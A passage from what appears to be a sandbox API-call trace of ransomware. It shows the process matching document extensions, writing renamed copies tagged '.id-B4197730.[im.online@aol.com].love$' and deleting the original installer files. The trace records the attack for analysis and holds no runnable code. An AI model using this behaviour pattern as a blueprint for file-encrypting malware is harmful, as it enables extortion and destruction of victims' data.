[0105.543] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.543] lstrlenW (lpString=".xls") returned 4 [0105.543] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.543] lstrlenW (lpString=".xlsx") returned 5 [0105.543] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.543] lstrlenW (lpString=".ppt") returned 4 [0105.543] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.543] lstrlenW (lpString=".zip") returned 4 [0105.543] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.543] lstrlenW (lpString=".rar") returned 4 [0105.543] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.543] lstrlenW (lpString=".bz2") returned 4 [0105.543] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.543] lstrlenW (lpString=".7z") returned 3 [0105.543] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.543] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.543] lstrlenW (lpString=".dbf") returned 4 [0105.544] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.544] lstrlenW (lpString=".1cd") returned 4 [0105.544] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.544] lstrlenW (lpString=".jpg") returned 4 [0105.544] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.544] lstrlenW (lpString=".doc") returned 4 [0105.544] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.544] lstrlenW (lpString=".docx") returned 5 [0105.544] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0105.544] lstrlenW (lpString=".pdf") returned 4 [0105.544] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.544] lstrlenW (lpString=".xls") returned 4 [0105.544] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.544] lstrlenW (lpString=".xlsx") returned 5 [0105.544] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0105.544] lstrlenW (lpString=".ppt") returned 4 [0105.544] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.544] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.544] lstrlenW (lpString=".zip") returned 4 [0105.544] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.544] lstrlenW (lpString=".rar") returned 4 [0105.544] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.544] lstrlenW (lpString=".bz2") returned 4 [0105.544] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.545] lstrlenW (lpString=".7z") returned 3 [0105.545] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.545] lstrlenW (lpString=".dbf") returned 4 [0105.545] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.545] lstrlenW (lpString=".1cd") returned 4 [0105.545] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.545] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0105.545] lstrlenW (lpString=".jpg") returned 4 [0105.545] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.545] lstrcmpiW (lpString1=".msi", lpString2=".love$") returned 1 [0105.545] lstrlenW (lpString="RGB9Rast_x86.msi") returned 16 [0105.545] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.546] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=94720) returned 1 [0105.546] CloseHandle (hObject=0x360) returned 1 [0105.546] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 0x80 [0105.546] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.546] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.546] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.546] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.546] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0105.547] GetLastError () returned 0x0 [0105.547] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x17200, lpOverlapped=0x0) returned 1 [0105.577] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x17210, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x17210, lpOverlapped=0x0) returned 1 [0105.580] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.581] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xf4, lpOverlapped=0x0) returned 1 [0105.581] SetEndOfFile (hFile=0x354) returned 1 [0105.581] CloseHandle (hObject=0x354) returned 1 [0105.585] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.585] SetEndOfFile (hFile=0x360) returned 1 [0105.587] CloseHandle (hObject=0x360) returned 1 [0105.587] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0105.587] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi")) returned 1 [0105.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.588] lstrlenW (lpString=".doc") returned 4 [0105.588] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.588] lstrlenW (lpString=".docx") returned 5 [0105.588] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0105.588] lstrlenW (lpString=".pdf") returned 4 [0105.588] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.588] lstrlenW (lpString=".xls") returned 4 [0105.588] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.588] lstrlenW (lpString=".xlsx") returned 5 [0105.588] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0105.588] lstrlenW (lpString=".ppt") returned 4 [0105.588] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.588] lstrlenW (lpString=".zip") returned 4 [0105.588] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.588] lstrlenW (lpString=".rar") returned 4 [0105.588] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.588] lstrlenW (lpString=".bz2") returned 4 [0105.588] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.588] lstrlenW (lpString=".7z") returned 3 [0105.588] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.588] lstrlenW (lpString=".dbf") returned 4 [0105.588] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.588] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.588] lstrlenW (lpString=".1cd") returned 4 [0105.589] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.589] lstrlenW (lpString=".jpg") returned 4 [0105.589] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.589] lstrlenW (lpString=".doc") returned 4 [0105.589] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0105.589] lstrlenW (lpString=".docx") returned 5 [0105.589] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0105.589] lstrlenW (lpString=".pdf") returned 4 [0105.589] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0105.589] lstrlenW (lpString=".xls") returned 4 [0105.589] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0105.589] lstrlenW (lpString=".xlsx") returned 5 [0105.589] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0105.589] lstrlenW (lpString=".ppt") returned 4 [0105.589] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0105.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.589] lstrlenW (lpString=".zip") returned 4 [0105.589] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0105.589] lstrlenW (lpString=".rar") returned 4 [0105.589] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0105.589] lstrlenW (lpString=".bz2") returned 4 [0105.589] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0105.589] lstrlenW (lpString=".7z") returned 3 [0105.589] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0105.589] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.590] lstrlenW (lpString=".dbf") returned 4 [0105.590] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0105.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.590] lstrlenW (lpString=".1cd") returned 4 [0105.590] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0105.590] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9Rast_x86.msi") returned 38 [0105.590] lstrlenW (lpString=".jpg") returned 4 [0105.590] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0105.590] lstrcmpiW (lpString1=".exe", lpString2=".love$") returned -1 [0105.590] lstrlenW (lpString="Setup.exe") returned 9 [0105.590] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.590] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=78152) returned 1 [0105.590] CloseHandle (hObject=0x360) returned 1 [0105.591] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 0x80 [0105.591] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.591] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.591] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.591] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.591] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setup.exe.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0105.591] GetLastError () returned 0x0 [0105.591] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x13148, lpOverlapped=0x0) returned 1 [0105.961] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x13150, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x13150, lpOverlapped=0x0) returned 1 [0105.964] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.964] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xe6, lpOverlapped=0x0) returned 1 [0105.964] SetEndOfFile (hFile=0x354) returned 1 [0105.965] CloseHandle (hObject=0x354) returned 1 [0105.969] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.969] SetEndOfFile (hFile=0x360) returned 1 [0105.971] CloseHandle (hObject=0x360) returned 1 [0105.971] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0105.971] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe" (normalized: "c:\\588bce7c90097ed212\\setup.exe")) returned 1 [0105.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.972] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.972] lstrlenW (lpString=".doc") returned 4 [0105.972] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0105.972] lstrlenW (lpString=".docx") returned 5 [0105.972] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0105.972] lstrlenW (lpString=".pdf") returned 4 [0105.972] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0105.972] lstrlenW (lpString=".xls") returned 4 [0105.972] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0105.972] lstrlenW (lpString=".xlsx") returned 5 [0105.973] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0105.973] lstrlenW (lpString=".ppt") returned 4 [0105.973] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0105.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.973] lstrlenW (lpString=".zip") returned 4 [0105.973] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0105.973] lstrlenW (lpString=".rar") returned 4 [0105.973] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0105.973] lstrlenW (lpString=".bz2") returned 4 [0105.973] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0105.973] lstrlenW (lpString=".7z") returned 3 [0105.973] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0105.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.973] lstrlenW (lpString=".dbf") returned 4 [0105.973] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0105.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.973] lstrlenW (lpString=".1cd") returned 4 [0105.973] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0105.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.973] lstrlenW (lpString=".jpg") returned 4 [0105.973] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0105.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.973] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.973] lstrlenW (lpString=".doc") returned 4 [0105.973] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0105.973] lstrlenW (lpString=".docx") returned 5 [0105.973] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0105.973] lstrlenW (lpString=".pdf") returned 4 [0105.973] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0105.974] lstrlenW (lpString=".xls") returned 4 [0105.974] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0105.974] lstrlenW (lpString=".xlsx") returned 5 [0105.974] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0105.974] lstrlenW (lpString=".ppt") returned 4 [0105.974] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0105.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.974] lstrlenW (lpString=".zip") returned 4 [0105.974] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0105.974] lstrlenW (lpString=".rar") returned 4 [0105.974] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0105.974] lstrlenW (lpString=".bz2") returned 4 [0105.974] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0105.974] lstrlenW (lpString=".7z") returned 3 [0105.974] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0105.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.974] lstrlenW (lpString=".dbf") returned 4 [0105.974] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0105.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.974] lstrlenW (lpString=".1cd") returned 4 [0105.974] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0105.974] lstrlenW (lpString="C:\\588bce7c90097ed212\\Setup.exe") returned 31 [0105.974] lstrlenW (lpString=".jpg") returned 4 [0105.974] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0105.974] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0105.975] lstrlenW (lpString="SetupUi.dll") returned 11 [0105.975] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.975] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=295248) returned 1 [0105.975] CloseHandle (hObject=0x360) returned 1 [0105.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 0x80 [0105.975] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0105.976] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0105.976] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.976] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.976] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\setupui.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0105.976] GetLastError () returned 0x0 [0105.976] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x48150, lpOverlapped=0x0) returned 1 [0106.004] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0x48160, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0x48160, lpOverlapped=0x0) returned 1 [0106.012] ReadFile (in: hFile=0x360, lpBuffer=0x38f8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0106.013] WriteFile (in: hFile=0x354, lpBuffer=0x38f8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x38f8020*, lpNumberOfBytesWritten=0x2d1fc94*=0xea, lpOverlapped=0x0) returned 1 [0106.013] SetEndOfFile (hFile=0x354) returned 1 [0106.013] CloseHandle (hObject=0x354) returned 1 [0106.514] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.515] SetEndOfFile (hFile=0x360) returned 1 [0106.518] CloseHandle (hObject=0x360) returned 1 [0106.518] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0106.518] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll")) returned 1 [0106.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.519] lstrlenW (lpString=".doc") returned 4 [0106.519] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.519] lstrlenW (lpString=".docx") returned 5 [0106.519] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0106.519] lstrlenW (lpString=".pdf") returned 4 [0106.519] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.519] lstrlenW (lpString=".xls") returned 4 [0106.519] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.519] lstrlenW (lpString=".xlsx") returned 5 [0106.519] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0106.519] lstrlenW (lpString=".ppt") returned 4 [0106.519] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.519] lstrlenW (lpString=".zip") returned 4 [0106.519] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.519] lstrlenW (lpString=".rar") returned 4 [0106.519] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.519] lstrlenW (lpString=".bz2") returned 4 [0106.519] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.519] lstrlenW (lpString=".7z") returned 3 [0106.519] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.519] lstrlenW (lpString=".dbf") returned 4 [0106.519] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0106.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.519] lstrlenW (lpString=".1cd") returned 4 [0106.519] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0106.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.519] lstrlenW (lpString=".jpg") returned 4 [0106.519] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.520] lstrlenW (lpString=".doc") returned 4 [0106.520] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString=".docx") returned 5 [0106.520] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0106.520] lstrlenW (lpString=".pdf") returned 4 [0106.520] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString=".xls") returned 4 [0106.520] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString=".xlsx") returned 5 [0106.520] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0106.520] lstrlenW (lpString=".ppt") returned 4 [0106.520] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.520] lstrlenW (lpString=".zip") returned 4 [0106.520] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString=".rar") returned 4 [0106.520] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0106.520] lstrlenW (lpString=".bz2") returned 4 [0106.520] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0106.520] lstrlenW (lpString=".7z") returned 3 [0106.520] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0106.520] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.dll") returned 33 [0106.520] lstrlenW (lpString=".dbf") returned 4 [0106.520] lstrcmpiW (lpString1=".dbf", lpString2=".dll") 